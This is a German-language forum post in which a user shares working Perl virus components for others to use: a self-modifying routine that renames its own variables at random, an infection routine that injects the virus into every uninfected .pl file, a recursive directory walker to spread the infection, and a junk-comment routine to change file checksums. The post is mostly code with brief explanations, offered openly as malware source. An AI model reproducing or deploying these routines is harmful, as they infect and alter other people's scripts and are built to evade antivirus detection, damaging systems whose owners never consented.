Hi
ich bin neu hier und ich weiß, dass Perl-Viren nicht das wahre sind. Trotzdem funktionieren sie, also schreib ich hier ein paar brauchbare Codes von mir rein.
Varchange:
Code:
sub varchange{
@case = ("A".."Z","a".."z","0".."9");
@change = ("case", "change", "var", "myself", "line", "varchange", "virii", "count");
@var;
for ($count = 0;$count < scalar(@change); $count++){
$var[$count] = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))];
}
open(virii, "<", "$0");
@myself = <virii>;
close(virii);
open(virii, ">", "$0");
foreach $line (@myself){
for($count = 0; $count < scalar(@change); $count++){
$line =~ s/$change[$count]/$var[$count]/;
}
print virii $line;
}
close(virii);
}
Das Programm liest sich selbst ein und sucht jede Zeile nach den Strings aus @change ab. Die Strings werden dann durch zufällig generierte Strings ersetzt. (Idee und erste Umsetzung by Perfoin, Einfachere Umsetzung [Schleifen usw.] by me)
Perl Infection Routine:
Code:
#!/usr/bin/perl
sub viri{
sub perlInfect { # *.pl Dateien infizieren
@case = ("A".."Z","a".."z","0".."9");
$call = $case[int(rand(52))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))].$case[int(rand(62))];
foreach $pl ( glob("*.pl") ) {
if ( isInfected($pl) == 0) {
open(me, $0);
open(target, "<", "$pl");
$_ = <target>;
$_ = <target>;
$new = $1 . "#!/usr/bin/perl \n\&$call\(\)\n" . $_;
while ( <target> ) { $new = $new . $_; }
seek(me, 0, 0);
while ( <me> ne "sub viri\{\n" ) { };
$new = $new . "\nsub $call\{\n";
while ( <me> ) { $new = $new . $_; }
close(target);
open(target, ">", $pl);
print target $new;
close(target);
close(me);
}
}
}
sub isInfected{ # auf Infection prüfen
$file = $_[0];
open(pl, "<", $file);
@perl = <pl>;
close(pl);
return $perl[0] =~ / /;
}
sub foldInfect{ # Ordner infizieren
chdir('..');
chdir('..');
foreach $dirs (<*>) {
if ((-r $dirs) && (-w $dirs) && (-d $dirs)) {
chdir ($dirs);
&perlInfect();
chdir('..');
}
}
}
}
Das Infection-Mark sind 6 Leerzeichen in der ersten Zeile. Jede Perl Datei im aktuellen Ordner wird geöffnet und überprüft, ob sie schon infiziert ist. Ist dies nicht der der Fall, wird in eine neue Variable Die erste Zeile MIT Infection-Mark geschrieben, in die nächste Zeile ein Aufruf für eine zufällige Subroutine (zufällig im Sinne von zufälliger Name). Dann wird der zu infizierende Code in die Variable geschrieben und der Virus-Code als Subroutine mit oben genanntem zufälligem Namen ans Ende der Datei geschrieben. (by me)
Ordnerstruktur durcharbeiten (rekrussiv):
Manchmal will man ja nicht nur Dateien im aktuellen Ordner infizieren.
Code:
sub foldInfect{
foreach $dirs (<*>) {
if ((-r $dirs) && (-w $dirs) && (-d $dirs)) {
chdir ($dirs);
#auszuführende Funktionen
&foldInfect();
chdir('..');
}
}
}
(by me)
Trashcode:
Code:
sub trash{
open(vir, "<", "$0");
@myself = <vir>;
close(vir);
open(me, ">", "$0");
foreach $line (@myself){
$zahl1 = int( rand(501) );
$zahl2 = int( rand(501) );
print me $line;
print me "#$zahl1\n";
print me "#$zahl2\n";
}
close(me);
}
In jede 2te Zeile wird "TrashCode" in Form eines Kommentars eingefügt. Also kein wirklicher TrashCode aber die Checksumme ändert sich (by Perfoin)
mfg poll9797
Edit: manche stellen werden als PHP-Code falsch dargestellt, also muss man auf Syntax-Hilighting verzichten